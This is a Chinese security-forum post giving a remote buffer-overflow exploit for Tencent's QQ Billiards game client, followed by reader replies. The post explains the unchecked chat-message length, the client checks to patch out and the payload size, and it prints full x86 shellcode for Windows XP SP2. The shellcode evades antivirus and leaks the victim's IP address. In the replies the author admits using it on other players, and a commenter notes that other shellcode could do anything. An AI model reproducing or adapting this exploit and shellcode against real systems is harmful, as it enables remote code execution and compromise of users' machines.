首页
社区
课程
招聘
[原创]《QQ桌球》的缓冲区溢出漏洞报告 + 找工作
发表于: 2010-3-13 16:35 8959

[原创]《QQ桌球》的缓冲区溢出漏洞报告 + 找工作

2010-3-13 16:35
8959

============说明==============
1、漏洞是我读大二的时候(三年前)发现的,这篇文章是我读大三的时候写的,本来并没有打算发出来,不过最近打算找工作,所以就翻箱倒柜把它找出来了。
2、漏洞我已经报告过给腾讯,并且我大四找工作的时候也把这个漏洞的情况告诉过腾讯HR。
3、这篇文章是原创,也是首发在看雪这里,如果转载请注明出处。
4、我的简历在这里(http://bbs.pediy.com/showthread.php?t=108821),希望有意招我的公司能联系一下我,我的邮箱是yinXlms#126.com(#换成@),谢谢。
============================

《QQ桌球》的缓冲区溢出漏洞报告
yinX
2008年4月11日

综述
        腾讯公司的网络游戏软件《QQ桌球》存在一个远程缓冲区溢出漏洞,可被攻击者利用,使其执行远程代码。

文件版本
        文件名:Pocket.exe
        版本号:0.10.102.23
        发布时间:2005.01.17

漏洞成因
        QQ游戏的架构是这样的:各种游戏的主程序文件并不直接与网络打交道,所有网络数据,包括聊天内容和游戏动作,都通过游戏大厅发送和接收。为了适应各种数据,游戏大厅开了一个大小为0x2800的Buf。在发送聊天内容的时候,游戏大厅会把数据的类型和大小(针对QQ桌球这一个游戏,聊天数据的大小总为0x37C)附在聊天数据的前面一同发送到对方的游戏大厅。Pocket.exe用于显示聊天内容的缓冲区大小只有0x37C,并且从Recv的Buf复制数据的时候只按接收到的数据前部指明的大小来拷贝。如果攻击者恶意地把指明的大小从0x37C改成一个更大的数,则会发生缓冲区溢出。



利用方法
        只要直接给对方的游戏大厅发送为了经过精心构造的数据即可令对方溢出,为了简单起见,使用Pocket.exe的聊天功能作为攻击工具而不另外编写攻击程序。不过Pocket.exe对发送的聊天内容的大小作了限制,所以攻击前一定要先去除这些限制。
        限制的地方有三处:0x40747C限制了发送的内容不能超过0x100字节;0x407487会把聊天内容前0xfa以外的数据截掉;0x407BBE指定了发送的数据的大小,即右上图中的“数据大小”字段。跟踪调试后发现,发送的数据的大小改成0x38C最为合适,其中最后四个字节为一返回地址。

ShellCode例子
下面是一段ShellCode的例子,功能是回显对方的IP。

;代码开始
;本程序只针对Win XP SP2

.386
.model tiny,stdcall
option casemap:none

.code
org	2f376h-1000h		;因为这段ShellCode要放在0x12f376的位置,但Masm编程序默认基址是0x400000
				;我在链接选项里加了/base:0x100000,现在org 2f376h就刚好是0x12f376h,
				;至于org 2f376h-1000h,那个1000h是PE头的大小

VirtualProtect		equ	7c801ad0h

ShellBase		equ	7c883320h

;从Pocket.exe里拿过来用的函数
LoadLibrary		equ	4170a4ffh
GetModuleHandle		equ	417088ffh
GetProcAddress		equ	4170a8ffh
SendTalk		equ	41f50cffh


;变量相对于GetBase的偏移,其实这样的做法不好,因为复制到Kernel32的时候没有复制这一部分
SendIP		equ	0ffh	;Len 20h
OldProtect	equ	0bfh	;Len 4
Ws2_32Base	equ	0bbh	;Len 4
wVersionRequested	equ	0b7h	;Len 2
WSAData		equ	-380h	;Len ?
nam		equ	-280h	;Len 256	此处比较特别,它是放在ShellCode后面的
remoteHost	equ	0afh	;Len ?		这个是指针,用的时候注意

start:

db	0A9h	dup	(90h)		;GetBase-0FFh刚好是Dword对齐

CodeBeg:
StaBase	db	0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h
;	After GetBase, Ebx = GetBase's Address

add	esp,-504h				;栈顶减是因为,要保证下面的API使用堆栈时不会把代码覆盖掉

mov	eax,ebx
add	eax,-OldProtect
push	eax
push	40h
xor	eax,eax
mov	al,83h
shl	eax,0ch
push	eax
mov	ax,7c80h
shl	eax,10h
add	ah,10h
push	eax
mov	eax,VirtualProtect
call	eax

mov	esi,ebx
sub	esi,-(offset CodeBeg2- offset StaBase)
mov	edi,ShellBase			;把代码复制到代码段,卡巴不会报。不过后来发现一种更好的过卡巴的方法,就是修改PEB里的栈顶和栈底数据。
xor	ecx,ecx
mov	cx,offset CodeEnd-offset CodeBeg2
rep movsb

sub	esp,-504h		;恢复堆栈

mov	eax,ShellBase
jmp	eax

CodeBeg2:

GetBase	db	0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h

mov	eax,ebx					;把字符串后面的那个1变成0
sub	eax,offset GetBase - offset TextStart
mov	edi,eax
mov	esi,edi
sub	esi,offset TextStart - offset TextEnd
cld
mov	al,1
mov	cx,0ffffh
LbXor:
repne scas	byte ptr [edi]
dec	edi
xor	byte ptr [edi],1
inc	edi
cmp	edi,esi
jl	LbXor

;********************************************************************
;返回目标的IP,EDX放着Ws2_32的基址
mov	eax,ebx
sub	eax,offset GetBase - offset Ws2_32 
push	eax
mov	eax,LoadLibrary
shr	eax,8h
call	dword ptr [eax]
mov	edx,ebx
add	edx,-Ws2_32Base			;把Ws2_32的地址保存起来
mov	[edx],eax

mov	eax,ebx				;WSAStartup
sub	eax,WSAData
push	eax
mov	eax,ebx
xor	ecx,ecx
mov	cx,0cccch			
push	ecx
mov	eax,ebx
sub	eax,offset GetBase - offset sWSAStartup
push	eax
mov	edx,ebx
add	edx,-Ws2_32Base	
push	[edx]
mov	eax,GetProcAddress
shr	eax,8h
call	dword ptr [eax]
call	eax

xor	eax,eax				;gethostname
mov	al,0ffh
push	eax
mov	eax,ebx
sub	eax,nam
push	eax
mov	eax,ebx
sub	eax,offset GetBase - offset sgethostname
push	eax
mov	edx,ebx
add	edx,-Ws2_32Base	
push	[edx]
mov	eax,GetProcAddress
shr	eax,8h
call	dword ptr [eax]
call	eax

mov	eax,ebx			;gethostbyname
sub	eax,nam
push	eax
mov	eax,ebx
sub	eax,offset GetBase - offset sgethostbyname
push	eax
mov	edx,ebx
add	edx,-Ws2_32Base	
push	[edx]
mov	eax,GetProcAddress
shr	eax,8h
call	dword ptr [eax]
call	eax

mov	eax,[eax+0ch]
FindIP:
mov	ecx,[eax]
or	ecx,ecx
je	NotFoundIP
mov	ecx,[ecx]
cmp	cl,0c0h
je	IP192
cmp	cl,0a9h
je	IP192				
jmp	FoundIP
IP192:
xor	ecx,ecx
mov	cl,4
add	eax,ecx
jmp	FindIP

FoundIP:
mov	ecx,[eax]
mov	ecx,[ecx]

push	ecx				;inet_ntoa
mov	eax,ebx
sub	eax,offset GetBase - offset sinet_ntoa
push	eax
mov	edx,ebx
add	edx,-Ws2_32Base	
push	[edx]
mov	eax,GetProcAddress
shr	eax,8h
call	dword ptr [eax]
call	eax
NotFoundIP:

mov	edx,ebx	
add	edx,-SendIP
mov	esi,eax
lea	edi,[edx+0ch]
xor	ecx,ecx
mov	cl,10h
rep movsb
push	27h
pop	esi
mov	[edx],esi
xor	ecx,ecx
dec	ecx
mov	[edx+4],ecx
;sub	esi,eax
push	10h		;长度
pop	eax
mov	[edx+8],eax
push	edx

xor	edx,edx
mov	dx,37ch
push	edx
mov	eax,41f50cffh
shr	eax,8
mov	edx,dword ptr [eax]
push	edx
mov	eax,ebx
sub	eax,offset GetBase - offset GInterop
push	eax
mov	eax,GetModuleHandle
shr	eax,8h
call	dword ptr [eax]
xor	edx,edx
mov	dh,20h
add	eax,edx
call	eax

mov	eax,ebx				;WSACleanup
sub	eax,offset GetBase - offset sWSACleanup
push	eax
mov	edx,ebx
add	edx,-Ws2_32Base	
push	[edx]
mov	eax,GetProcAddress
shr	eax,8h
call	dword ptr [eax]
call	eax


mov	eax,73d32047h
jmp	eax


TextStart:
GInterop	db	"GInterop.dll",1
Ws2_32		db	"Ws2_32.dll",1
sWSAStartup	db	"WSAStartup",1
sgethostname	db	"gethostname",1
sgethostbyname	db	"gethostbyname",1
sinet_ntoa	db	"inet_ntoa",1
sWSACleanup	db	"WSACleanup",1
TextEnd:	

CodeEnd:
End start

;代码结束
.text:100045EA loc_100045EA:                           ; CODE XREF: sub_1000441C+1AEj
.text:100045EA                 mov     edi, 2800h      ; 这个是Socket接收的数据长度
.text:100045EF                 lea     eax, [ebp+buf]
.text:100045F5                 push    edi             ; size_t
.text:100045F6                 push    0               ; int
.text:100045F8                 push    eax             ; void *
.text:100045F9                 call    memset
.text:100045FE                 add     esp, 0Ch
.text:10004601                 lea     eax, [ebp+buf]
.text:10004607                 push    0               ; flags
.text:10004609                 push    edi             ; len
.text:1000460A                 push    eax             ; buf
.text:1000460B                 push    esi             ; s
.text:1000460C                 call    ds:recv
.text:10004612                 mov     edi, eax
.text:10004614                 call    ds:WSAGetLastError
.text:1000461A                 mov     ecx, [ebp+var_1C]
.text:1000461D                 mov     [ebp+var_8], eax
.text:10004620                 cmp     dword ptr [ecx+8], 0
.text:10004624                 jz      short loc_10004643
.text:10004626                 push    dword ptr [ebp+in.S_un] ; in
.text:10004629                 call    ebx ; inet_ntoa
.text:1000462B                 push    eax             ; char
.text:1000462C                 push    offset aSocketthread_1 ; "socketthread connect ip %s notify exit!"...
.text:10004631                 push    esi             ; int
.text:10004632                 call    sub_100047D4
.text:10004637                 add     esp, 0Ch
.text:1000463A                 mov     [ebp+var_4], 1
.text:10004641                 jmp     short loc_1000464F

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (26)
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
第一次做SF,感觉不错,感谢LZ分享!
2010-3-13 16:52
0
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
崇拜yinX大神啊!
我对缓冲区溢出也非常感兴趣,但是自己技术有限,只能对别人发现的漏洞写写shellcode,我非常想知道是怎么发现这些漏洞的。LZ能指点一下吗?
2010-3-13 18:06
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
4
拿这个洞到QQ游戏大厅岂不能搞很多人啦?
2010-3-13 19:47
0
雪    币: 377
活跃值: (432)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
发现这个漏洞运气的成份非常大!其实我的技术不怎么样,就是运气比较好。
我找漏洞的时候就想着“有用户输入的地方比较容易有漏洞”,沿着程序处理用户数据的过程跟踪一下,特别留意一下栈的情况,可能会有一些发现。



我是用这个来搞过人的……
不过这个QQ 3D桌球用户数比较少,一般只有2千人左右,而且这个漏洞只有发给你的对手一个人。我看过斗地主之类的游戏,好像没有这个漏洞。
2010-3-13 22:42
0
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
yinX,照你说的还是很要功底和对漏洞的敏感啊!
我QQ:835934606(虽然很少上),很希望你能加我,以后想多请教你。
还有,找到好工作了吗?
2010-3-14 00:19
0
雪    币: 88
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
很好很强大..- -
2010-3-14 00:33
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
太强大了啊,换个shellcode不是想干什么就干什么 了啊
2010-3-14 01:54
0
雪    币: 58
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
甚好,甚强大!!
2010-3-15 14:58
0
雪    币: 261
活跃值: (83)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
这个洞在现在这个年月已以没有太大的利用空间了,不过这是一个不错的破解思路——凡事从基础做起,就会有更高的收获。
2010-3-15 18:48
0
雪    币: 2105
活跃值: (424)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
很不错的一个提示~~~
2010-3-16 00:06
0
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
12
留个记号,下次来看
2010-3-17 01:14
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
不错不错  支持中!
2010-3-17 11:35
0
雪    币: 278
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
强悍。。。。。
2010-3-17 20:42
0
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
楼主太强了!
2010-3-17 21:19
0
雪    币: 107
活跃值: (172)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
16
跟上,先研究一下再说!
2010-3-17 21:30
0
雪    币: 107
活跃值: (172)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
17
LZ是怎么把OD桂上去的?
2010-3-17 21:36
0
雪    币: 555
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
谢谢分享!!
2010-3-18 00:22
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
不错的思路
2010-3-18 13:55
0
雪    币: 41
活跃值: (35)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
20
LZ强悍啊。
2010-3-18 14:03
0
雪    币: 157
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
21
膜拜~~强大。
2010-3-18 16:45
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
太强大了。。。收藏了。。
2010-3-18 18:03
0
雪    币: 248
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
谢谢分享,现在不是很懂,努力中!!!!!
2010-3-18 23:45
0
雪    币: 427
活跃值: (51)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
谢谢lz分享。收藏
2010-3-19 09:32
0
雪    币: 151
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
顶下楼主......
2010-3-19 11:01
0
游客
登录 | 注册 方可回帖
返回
//